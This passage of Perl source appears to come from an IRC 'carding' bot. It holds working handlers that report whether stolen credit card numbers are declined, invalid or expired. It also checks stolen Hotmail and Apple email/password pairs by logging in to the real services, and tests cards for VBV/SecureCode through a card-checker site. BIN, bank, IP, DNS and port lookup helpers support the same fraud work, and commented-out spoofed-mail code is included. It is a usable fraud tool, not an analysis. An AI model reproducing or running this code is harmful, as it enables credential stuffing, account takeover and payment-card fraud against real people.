- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4Declined No Match Address!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/The credit card number is invalid./g){
- &respond_to_privmsg(\%msg,"7,1$who Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4INVALID!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/The credit card has expired./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4EXPIRED!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/A duplicate transaction has been submitted./g){
- &respond_to_privmsg(\%msg,"15,1Credit Card Number :3 $numerocarta 15Expdate :3 $expmes$expanio 15CVV :3 $verifica 0is 4DUPLICATE TRANSACTION!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/This transaction cannot be accepted at this time./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT DOWN!");
- push(@checked,$numerocarta);
- }elsif ($allo =~/An error occurred during processing./g){
- &respond_to_privmsg(\%msg,"14,01[15ResuLT.....14]02,01 $numerocarta 08$expmes$expanio 04$verifica05 is 4MERCHANT ERROR!");
- push(@checked,$numerocarta);
- }
- toEnd:
- }
- }
- ############################################################################################
- #############################@@@@======Logins Checkers=====@@@@#############################
- ############################ Contact : [email protected] ############################
- ############################################################################################
- ################################# Sub Hotmain Login Check ##################################
- if($msg{'what'} =~ /^!hotmail\s+(.*) (.*)/) {
- my ($hotmailz,$hotpasswordx) = ($1,$2);
- chop($hotpasswordx);
- &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]00,01 Checking 08$hotmailz:$hotpasswordx");
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("https://login.live.com/ppsecure/secure.srf?lc=1040&id=9&ru=https://accountservices.msn.com/default.srf%3Fvv%3D900%26mkt%3DIT-IT%26lc%3D1040&tw=1200&fs=1&kv=9&ct=1292072944&ems=1&seclog=10&ver=9.0.16542.0&tpf=1ce7cecf4f2ef04eefb126a0d68f97b0");
- $agent->form_number(1);
- $agent->current_form->value('login', ''.$hotmailz.'');
- $agent->current_form->value('passwd', ''.$hotpasswordx.'');
- $agent->submit();
- print $agent->content,"\n";
- my $internal = $agent->content;
- if ($internal =~/Windows Live ID/) {
- &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 04Wrong login");
- }else{
- &respond_to_privmsg(\%msg,"14,1[15,1 HotMaiL 14,01]08,01 $hotmailz:$hotpasswordx 09Successfully Logged in");
- }
- }
- ############################### Sub Apple Login Check ##################################
- if($msg{'what'} =~ /^!apple\s+(.*?)\s+(.*)/){
- my ($email,$pass) = ($1,$2);
- chop($email,$pass);
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]15,1 Checking 08,1 $email:$pass");
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("https://daw.apple.com/cgi-bin/WebObjects/DSAuthWeb.woa/wa/login?appIdKey=49bd208126787c17c33ca3b14d2a4f0c92daa10c417c4d686140e4acc04ba5f4&path=/Login.do%3FmyInfoReturnURL%3Dhttps%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&myInfoReturnURL=https%253A%252F%252Fselfsolve.apple.com%252FGetAgreements.do&language=IT-IT");
- $agent->form_number(2);
- $agent->current_form->value('theAccountName', ''.$email.'');
- $agent->current_form->value('theAccountPW', ''.$pass.'');
- $agent->submit();
- $agent->reload();
- print $agent->content,"\n";
- my $internal = $agent->content;
- open(FILE3,">>Apple.html") or die "$!";
- print FILE3 "$allo\n";
- close FILE3;
- sleep(2);
- if($internal =~/Did you forget/) {
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4Wrong Login ");
- }
- elsif($internal =~/blocked/) {
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 4,1(Account Locked)");
- }elsif($internal =~ /<BODY BGCOLOR=#FFFFFF>/) {
- my $name = $1;
- my $surnamle = $2;
- &respond_to_privmsg(\%msg,"14,1[15Apple......14]8,1 $email:$pass 9,1Successfully Logged in");
- }
- }
- #############################@@@@======ANOTHER TOOLZ=====@@@@###############################
- ############################ Contact : [email protected] ############################
- ############################################################################################
- ##################################### Sub IP Checking ######################################
- if($msg{'what'} =~ /^$zipcmd\s(\d{5})/)
- {
- my ($zipcheck) = ($1);
- &respond_to_privmsg(\%msg,"7,1Checking ZIP : 0-15 $zipcheck 0,1-");
- print "Checking Zip...\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.melissadata.com/lookups/ZipCityPhone.asp?InData='.$zipcheck.'&submit=Search');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- #{ local $^W; $agent->current_form->value('fld-zip', ''.$zipcheck.''); };
- #$agent->submit();
- print $agent->content,"\n";
- my $zipse=$agent->content;
- if ($zipse =~/<td class='columresult'>State<\/td><td align=left><b>(.*)<\/b>/){
- &respond_to_privmsg(\%msg,"7,1State : 0-3 $1 0-");
- }
- if ($zipse =~/<td class='columresult'>USPS Preferred City Name<\/td><td align=left><b>(.*) <\/b><\/td><\/tr>/){
- &respond_to_privmsg(\%msg,"7,1City : 0-3 $1 0-");
- }
- if ($zipse =~/<td class='columresult'>Area Code<\/td><td align=left><b>(.*)<\/b><\/td><\/tr>/){
- &respond_to_privmsg(\%msg,"7,1Area Code : 0-3 $1 0-");
- }
- if ($zipse =~/<td class='columresult'>Time Zone (Local Time)<\/td><td align=left><b>Pacific (.*) AM/){
- &respond_to_privmsg(\%msg,"7,1Time Zone : 0-3 $1 0-");
- }
- elsif ($zipse =~/<br><div align='center' style='font-size:15pt' >ZIP Code <b style='color:red'>(.*)<\/b> was not found.<\/div><br>/){
- &respond_to_privmsg(\%msg,"7,1Checking ZIP : 0-4 Could not retreive zip. 0,1-");
- }
- }
- ######################################## IP Checker ########################################
- ############################ Contact : [email protected] ############################
- ############################################################################################
- if($msg{'what'} =~ /\!ip (.*)/)
- {
- my ($iploca) = ($1);
- chomp($iploca);
- &respond_to_privmsg(\%msg,"7,1Checking IP : 0-15 $iploca 0-");
- print "Please wait...\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- #$agent->get('http://www.whatismyip.com/ip-tools/ip-whois-lookup/');
- #$agent->get('http://www.geobytes.com/IpLocator.htm?GetLocation&IpAddress='.$iploca.'');
- $agent->get('http://whoer.net/check?host='.$iploca.'');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- print $agent->content,"\n";
- my $ipwork=$agent->content;
- if($ipwork =~ m/<td class=\"wtl_z\"><strong>Country<\/strong><\/td>\n(.*)\n<div class=\"ipadotted\"> (.*)<\/div>/){
- my ($flag,$country) = ($1,$2);
- &respond_to_privmsg(\%msg,"7,1Country :0 -3 $2 0-");
- }
- if($ipwork =~ m/<td class=\"wtl\">Region<\/td>\n<td colspan=\"3\" class=\"wtr\">(.*)<\/td>/){
- my ($region) = ($1);
- &respond_to_privmsg(\%msg,"7,1Region :0 -3 $1 0-");
- }
- if($ipwork =~ m/<td class=\"wtl_z\">City<\/td>\n<td colspan=\"3\" class=\"wtr_z\">(.*)<\/td>/){
- my ($city) = ($1);
- &respond_to_privmsg(\%msg,"7,1City :0 -3 $1 0-");
- }
- if($ipwork =~ m/<td class=\"wtl\">ZIP code<\/td>\n<td colspan=\"3\" class=\"wtr\">(.*)<\/td>/){
- my ($zip) = ($1);
- &respond_to_privmsg(\%msg,"7,1Zip :0 -3 $1 0-");
- }
- if($ipwork =~ m/<td align=\"left\" class=\"wtl_z\">Hostname<\/td>\n<td colspan=\"3\" class=\"wtr_z\">\n(.*) → (.*)/){
- my ($hostanme,$ip) = ($1,$2);
- &respond_to_privmsg(\%msg,"7,1Hostname :0 -3 $1 0-");
- }
- if($ipwork =~ m/<td align=\"left\" class=\"wtl\">IP range<\/td>\n<td colspan=\"3\" class=\"wtr\">(.*)<\/td>/){
- my ($iprange) = ($1);
- &respond_to_privmsg(\%msg,"7,1IP Range :0 -3 $1 0-");
- }
- if($ipwork =~ m/<acronym title=\"Internet Service Provider\">ISP<\/acronym>\n<\/td>\n<td colspan=\"3\" class=\"wtr_z\">(.*)<\/td>/){
- my ($isp) = ($1);
- &respond_to_privmsg(\%msg,"7,1ISP :0 -3 $1 0-");
- }
- if($ipwork =~ m/<acronym title=\"Distributed Sender Blackhole List \(spamhaus.org\)\"><strong>Black list<\/strong><\/acronym>\n<\/td>\n<td colspan=\"3\" class=\"wtr_z\">\n(.*)<\/td>/){
- my ($blacklist) = ($1);
- &respond_to_privmsg(\%msg,"7,1Blacklist :0 -3 $1 0-");
- }
- elsif ($ipwork =~/<p>We are unable to locate the address/){
- &respond_to_privmsg(\%msg,"7,1Result IP Address : 0-15 4Unable to get IP Info 0-");
- }
- }
- ######################################## IP Checker ########################################
- ############################ Contact : [email protected] ############################
- ############################################################################################
- if($msg{'what'} =~ /\!ip+s(.*)/){
- &respond_to_privmsg(\%msg,"7,1Checking IP : 0-4 NULL 0-");
- }
- if($msg{'what'} =~ /\!ip2 (.*)/)
- {
- my ($iploca) = ($1);
- chomp($iploca);
- &respond_to_privmsg(\%msg,"9,1Checking IP : 0-8 $iploca 0-");
- print "Please wait...\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- #$agent->get('http://www.whatismyip.com/ip-tools/ip-whois-lookup/');
- $agent->get('http://www.geobytes.com/IpLocator.htm?GetLocation&IpAddress='.$iploca.'');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- print $agent->content,"\n";
- my $ipwork=$agent->content;
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls12" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Country Code : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls13" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Country : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls14" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Region Code : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"> <input name="ro-no_bots_pls15" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Region : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls16" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1City Code 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls17" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1City : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls5" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1City ID : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls10" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Latitude : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls19" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Longitude : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls8" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Capital City : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls9" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Time Zone : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls11" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Proxy : 8 $1 ");
- }
- if ($ipwork =~/ <td align="right"><input name="ro-no_bots_pls4" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1CIA Map Reference : 8 $1 ");
- }
- if ($ipwork =~/<td align="right"><input name="ro-no_bots_pls1" value="(.*)" size="20" readonly><\/td>/){
- &respond_to_privmsg(\%msg,"9,1Currency : 8 $1 ");
- }
- elsif ($ipwork =~/<p>We are unable to locate the address/){
- &respond_to_privmsg(\%msg,"9,1Result IP Address : 4Unable to get IP Info");
- }
- }
- ######################################### Sub DNS Checking ############################################
- if($msg{'what'} =~ /^!dns (.*)/)
- {
- my ($hostname) = ($1);
- &respond_to_privmsg(\%msg,"7,1Checking DNS : 0-15 $hostname 0,1-");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://www.ipligence.com/geolocation');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('ip', ''.$hostname.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $dnschk=$agent->content;
- if ($dnschk =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time Zone:(.*)/g){
- my ($resolved,$city,$country,$continent,$time) = ($1,$2,$3,$4);
- &respond_to_privmsg(\%msg,"7,1Checking DNS : 0-15 3Resolved to9 $resolved 0-");
- }
- elsif ($dnschk =~/Invalid address or IP not found/){
- &respond_to_privmsg(\%msg,"7,1Checking DNS : 0-15 4Could not Resolve Hostname 0-");
- }
- }
- ############################################################################################
- ############################################################################################
- if($msg{'what'} =~ /^!port\s(.*) (.*)/) {
- my($cip,$cport) = ($1,$2);
- chop($cport);
- &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 0-");
- my $agent = WWW::Mechanize->new();
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get("http://my-addr.com/check-open-ports/check-listening-of-ports/check_ports_tool.php");
- $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('addr', ''.$cip.''); };
- { local $^W; $agent->current_form->value('ports_list', ''.$cport.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $resultport=$agent->content;
- if($resultport =~/success/){
- &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 3is 9Opened 0,1-");
- }elsif($resultport = ~/Connection refused/){
- &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 3is 4Closed 0,1-");
- }
- }
- ############################################################################################
- #if($msg{'what'} =~ /^!sock5\s(.*) (.*)/) {
- # my($csocks,$cport) = ($1,$2);
- # chop($cport);
- # &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $csocks:$cport 0-");
- # my $cookie = HTTP::Cookies->new(file => 'cookie',autosave => 1,);
- # my $agent = WWW::Mechanize->new(cookie_jar => $cookie, autocheck => 0, ssl_opts => {verify_hostname => 0},);
- # my $formfiller = WWW::Mechanize::FormFiller->new();
- # $agent->env_proxy();
- # $agent->get("https://socks5proxies.com/check.php?act=post");
- # # $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
- # { local $^W; $agent->current_form->value('list', ''.$csocks.''.$cport.''); };
- # $agent->submit();
- # print $agent->content,"\n";
- # my $resultport=$agent->content;
- # if($resultport =~/<font color="red"><b>Die<\/b><\/font>/){
- # &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $csocks:$cport 3is 4Dead 0,1-");
- # }elsif($resultport = ~/Connection refused/){
- # &respond_to_privmsg(\%msg,"7,1Checking Port : 0-15 $cip:$cport 3is 4Closed 0,1-");
- # }
- # }
- ########################################################################################
- if($msg{'what'} =~ /^$seccmd\s+(\d{16})/){
- open FILE,"ignored.txt";
- my @result = <FILE>;
- close FILE;
- my $chknickVar = 0;
- foreach my $url (@results){
- if($url =~ m/(.*)|Ignore/&& $chknickVar == 0){
- $chknickVar = 1;
- &respond_to_privmsg(\%msg,"7,1Information 0: 4 $1 You have been Ignored.");
- goto toEnd;
- }
- }
- my ($numerocarta,) = ($1,$2,$3,$4,);
- my $var1 = substr($expmes,0,2);
- my $var2 = substr($expmes,2,4);
- if(substr($numerocarta,0,1) == 4){
- $varType = 1;
- }
- if(substr($numerocarta,0,1) == 5){
- $varType = 2;
- }
- #my ($vbvnumb) = ($1);
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1-");
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://zing9x.net/WB/vbv/');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- $agent->form_number(1);
- { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $secres=$agent->content;
- if ($secres =~/No Pass VBV/g){
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security Verified by 00:3 00-3 3[0,12VISA3,1] 14is 4NOT PASSED! 0,1-");
- }elsif ($secres =~/Pass VBV/){
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security Verified by 00:3 00-3 3[0,12VISA3,1] 14is 9PASSED! 0,1-");
- }elsif ($secres =~/No Pass MCSC/){
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security MasterCard SecureCode 00:3 00-3 [0,4Master0,7Card3,1]14,1 is 4,1NOT PASSED!");
- }elsif ($secres =~/Pass MCSC/){
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 0,1- 14,1Security MasterCard SecureCode 00:3 00-3 [0,4Master0,7Card3,1]14,1 is 9PASSED!");
- }elsif ($secres =~/Unknown/){
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 14is 7UNKNOWN!");
- }elsif ($secres =~/INVALID/){
- &respond_to_privmsg(\%msg,"7,1VBV/MCSC Checking : 0-3 $numerocarta 14is 7INVALID");
- }
- toEnd:
- }
- ########################################################################################
- if($msg{'what'} =~ /^$bincmd\s(\d{16})/){
- my ($ccnumb) = ($1);
- print "\n";
- my $agent = WWW::Mechanize->new( autocheck => 1 );
- my $formfiller = WWW::Mechanize::FormFiller->new();
- $agent->env_proxy();
- $agent->get('http://bin.cvvtools.pro/');
- $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- { local $^W; $agent->current_form->value('data', ''.$ccnumb.''); };
- $agent->submit();
- print $agent->content,"\n";
- my $secres=$agent->content;
- if ($secres =~/<i> (.*) <\/i>/g){
- &respond_to_privmsg(\%msg,"7,1BIN : 0-9 $1 0-");
- }elsif ($secres =~/<i>(.*)<\/i>/){
- &respond_to_privmsg(\%msg,"7,1BIN : 0-4 Could not retreive BIN. 0-");
- }
- }
- #####################################################################################
- # if($msg{'what'} =~ /^!md5\s(.*)/) {
- # my $mstring = $1;
- # chop($mstring);
- # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generating...08,01 $mstring");
- # my $agent = WWW::Mechanize->new();
- # my $formfiller = WWW::Mechanize::FormFiller->new();
- # $agent->env_proxy();
- # $agent->get("http://s4l1ty.usr.sh/toolz/md5/");
- # $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- # { local $^W; $agent->current_form->value('encrypt', ''.$mstring.''); };
- # $agent->submit();
- # print $agent->content,"\n";
- # my $resmd=$agent->content;
- # if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
- # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Generated:04 $1");
- # }elsif($resmd =~/Duplicate entry '(.*)' for key 'md5'/){
- # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]00,01 Already Generated:04 $1");
- # }
- # else{
- # &respond_to_privmsg(\%msg,"14,1[15,1 md5 14,01]04,01 Can't Generate Hash");
- # }
- # }
- #####################################################################################
- # if($msg{'what'} =~ /^!md5decode (.*)/) {
- # my $md = $1;
- # chop($md);
- # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01] 04,01Checking 14$md");
- # my $agent = WWW::Mechanize->new();
- # my $formfiller = WWW::Mechanize::FormFiller->new();
- # $agent->env_proxy();
- # $agent->get("http://md5.rednoize.com/?p&s=md5&q='.$md.'");
- # $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- # #{ local $^W; $agent->current_form->value('decrypt', ''.$md.''); };
- # $agent->submit();
- # print "Checking...\n";
- # print $agent->content,"\n";
- # my $internal=$agent->content;
- # if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
- # if($internal =~/(.*)/){
- # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]00,01 Decrypted: 09$1");
- # }elsif($internal = ~/Sorry, we couldn't decrypt this md5./){
- # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04,01 Not Found in database");
- #}elsif($internal = ~/Invalid/){
- # &respond_to_privmsg(\%msg,"14,1[15,01 md5 14,01]09,01 $md04 INVALID md5 hash");
- # }
- # }
- #####################################################################################
- # if($msg{'what'} =~ /^!sha1\s(.*)/) {
- # my $shastring = $1;
- # chop($shastring);
- # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generating...08,01 $shastring");
- # my $agent = WWW::Mechanize->new();
- # my $formfiller = WWW::Mechanize::FormFiller->new();
- # $agent->env_proxy();
- # $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
- # $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- # { local $^W; $agent->current_form->value('encrypt', ''.$shastring.''); };
- # $agent->submit();
- # print $agent->content,"\n";
- # my $resmd=$agent->content;
- # if($resmd =~/<font color=#00FF11><b>(.*)<\/b><\/font>/){
- # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Generated:04 $1");
- # }elsif($resmd =~/Duplicate entry '(.*)' for key 'sha1'/){
- # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]00,01 Already Generated:04 $1");
- # }
- # else{
- # &respond_to_privmsg(\%msg,"14,1[15,1 sha1 14,01]04,01 Can't Generate Hash");
- # }
- # }
- #####################################################################################
- # if($msg{'what'} =~ /^!sha1decode (.*)/) {
- # my $sha = $1;
- # chop($sha);
- # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01] 04,01Checking 14$sha");
- # my $agent = WWW::Mechanize->new();
- # my $formfiller = WWW::Mechanize::FormFiller->new();
- # $agent->env_proxy();
- # $agent->get("http://s4l1ty.usr.sh/toolz/sha1/");
- # $agent->form_number(2) if $agent->forms and scalar @{$agent->forms};
- # { local $^W; $agent->current_form->value('decrypt', ''.$sha.''); };
- # $agent->submit();
- # print $agent->content,"\n";
- # my $internal=$agent->content;
- # if($internal =~/<strong>Decrypted: <font color=green>(.*?)<\/font><\/strong><br>/){
- # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]00,01 Decrypted: 09$1");
- # }elsif($internal = ~/Sorry, we couldn't decrypt this sha1./){
- # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04,01 Not Found in database");
- # }elsif($internal = ~/Invalid/){
- # &respond_to_privmsg(\%msg,"14,1[15,01 sha1 14,01]09,01 $sha04 INVALID sha1 hash");
- # }
- # }
- ###########################################################################################
- # if($msg{'what'} =~ /^!transid (.*)/)
- # {
- # my ($words) = ($1);
- # chop($words);
- # &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 04,01Translating 08$words");
- # print "\n";
- # my $agent = WWW::Mechanize->new( autocheck => 1);
- # my $formfiller = WWW::Mechanize::FormFiller->new();
- # $agent->env_proxy();
- # $agent->get('http://translate.reference.com/');
- # { local $^W; $agent->current_form->value('src', 'id'); };
- # { local $^W; $agent->current_form->value('dst', 'en'); };
- # { local $^W; $agent->current_form->value('query', ''.$words.''); };
- # $agent->submit();
- # print $agent->content,"\n";
- # my $tranzid=$agent->content;
- # if ($tranzid =~ m/<div class=\"translateTxt\" >(.*)/){
- # &respond_to_privmsg(\%msg,"14,1[15,01 Translator14,01 ] 08,01ID-EN: 09$1");
- # }
- # }
- #############################@@@@======LOCAL FILE COMMANDS=====@@@@#########################
- #############################CONTACT ME : [email protected]################################
- ############################################################################################
- if($msg{'what'} =~ /^$statecmd (.*)/){
- my $statesinfo = $1;
- &respond_to_privmsg(\%msg,"7,1Checking State : 0,1-15 $statesinfo0,1 -");
- print "Checking State...\n";
- my $statedatabase = "state.txt";
- open FILE,"$statedatabase" or die "Can't open file: $statedatabase";
- my @results=<FILE>;
- close FILE;
- my $statevar = 0;
- my $nostatevar = 0;
- my $statex = substr($statesinfo,0,2);
- foreach my $url (@results){
- if($url =~ /$statex\|(.*)/){
- if($statevar == 0) {
- &respond_to_privmsg(\%msg,"7,1Checking State : 0-15 3is9 $1 0-");
- goto finish;
- }
- }
- else{
- $nostatevar = 1;
- }
- }
- if($nostatevar == 1) {
- &respond_to_privmsg(\%msg,"7,1Checking State : 0,1-4 Could not Retrieve State. 0,1-");
- }
- finish:
- }
- if($msg{'what'} =~ /^$countrycmd (.*)/){
- my $countryinfo = $1;
- &respond_to_privmsg(\%msg,"7,1Checking Country : 0,1-15 $countryinfo0,1 -");
- print "Checking Country...\n";
- my $countrydatabase = "country.txt";
- open FILE,"$countrydatabase" or die "Can't open file: $countrydatabase";
- my @results=<FILE>;
- close FILE;
- my $countryvar = 0;
- my $nostatevar = 0;
- my $countryx = substr($countryinfo,0,2);
- foreach my $url (@results){
- if($url =~ /$countryx\|(.*)/){
- if($countryvar == 0) {
- &respond_to_privmsg(\%msg,"7,1Checking Country : 0-15 3is9 $1 0-");
- goto finish;
- }
- }
- else{
- $nostatevar = 1;
- }
- }
- if($nostatevar == 1) {
- &respond_to_privmsg(\%msg,"7,1Checking Country : 0,1-4 Could not Retrieve Country. 0,1-");
- }
- finish:
- }
- #####################################################################################
- #####################################################################################
- if($msg{'what'} =~ /^$bankcmd\s(\d{6})/){
- my $bankinfo = $1;
- my $database = "banklist.txt";
- open FILE,"$database" or die "Can't open file: $database";
- my @results=<FILE>;
- close FILE;
- my $bankvar = 0;
- my $chkvar = 0;
- foreach my $url (@results){
- if($url =~ /$bankinfo\|(.*)/){
- if($bankvar == 0) {
- $bankvar = 1;
- &respond_to_privmsg(\%msg,"7,1Bank :3 $1");
- goto finish;
- }
- }
- else{
- $chkvar = 1;
- }
- }
- if($chkvar == 1) {
- &respond_to_privmsg(\%msg,"7,1Bank :4 Could not retreive bank.");
- }
- finish:
- }
- ################################################ SEND MAIL ################################################
- #if($msg{'what'} =~ /^!sendmail\s+(.*) (.*) (.*) (.*)/) {
- # my ($to,$from,$subject,$text) = ($1,$2,$3,$4);
- # &respond_to_privmsg(\%msg,"7,1Send Mail: 3,1to 9,1$to 3,1From : 8,1$from 3,1Subject : 15,1$subject 3,1Text : 0,1$text 1,0 : Please wait...");
- #print "Sending Mail...\n";
- #my $agent = WWW::Mechanize->new( autocheck => 1 );
- #my $formfiller = WWW::Mechanize::FormFiller->new();
- #$agent->env_proxy();
- #$agent->get('http://mikitri.com/sys/fakemail.html?usite=&ulogo=&ucss=&uname=');
- #$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
- # { local $^W; $agent->current_form->value('mailto', ''.$to.''); };
- # { local $^W; $agent->current_form->value('mailby', ''.$from.''); };
- # { local $^W; $agent->current_form->value('mailsubject', ''.$subject.''); };
- # { local $^W; $agent->current_form->value('message', ''.$text.''); };
- # $agent->submit();
- # print $agent->content,"\n";
- #my $secres=$agent->content;
- #if ($secres =~/Email terkirim ke/g){
- # &respond_to_privmsg(\%msg,"7,1Send Mail: 3,1Email has been successfully send to 9,1$to");
- # }
- #}
- #############################@@@@======INTERFACE COMMANDS=====@@@@###############################
- if($msg{'what'} =~ /\!hop (.*)/)
- {
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("PART ".$1." ".$2."\n");
- $irc_socket->write("JOIN ".$1." ".$2."\r\n");
- }
- }
- ######################################################################################
- if($msg{'what'} =~ /\!j (.*)/)
- {
- my $channel = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("JOIN $channel\r\n");
- }
- }
- if($msg{'what'} =~ /\!hop (.*)/)
- {
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("PART ".$1." ".$2."\n");
- $irc_socket->write("JOIN ".$1." ".$2."\r\n");
- }
- }
- ######################################################################################
- if($msg{'what'} =~ /\!rename (.*)/)
- {
- my $rename = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("NICK $rename\r\n");
- }
- }
- ######################################################################################
- if($msg{'what'} =~ /\!ignore (.*)/)
- {
- my $ignore = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("MSG Betan :7,1 Ignored 14=>4 $1 \r\n");
- addlog("ignore.txt", "$1|$1|Ignore");
- }
- }
- ######################################################################################
- ######################################################################################
- if($msg{'what'} =~ /\!part (.*)/)
- {
- my $parted = $1;
- if(&ctrl_admin(\%msg) == 0){
- $irc_socket->write("part ".$parted."\r\n");
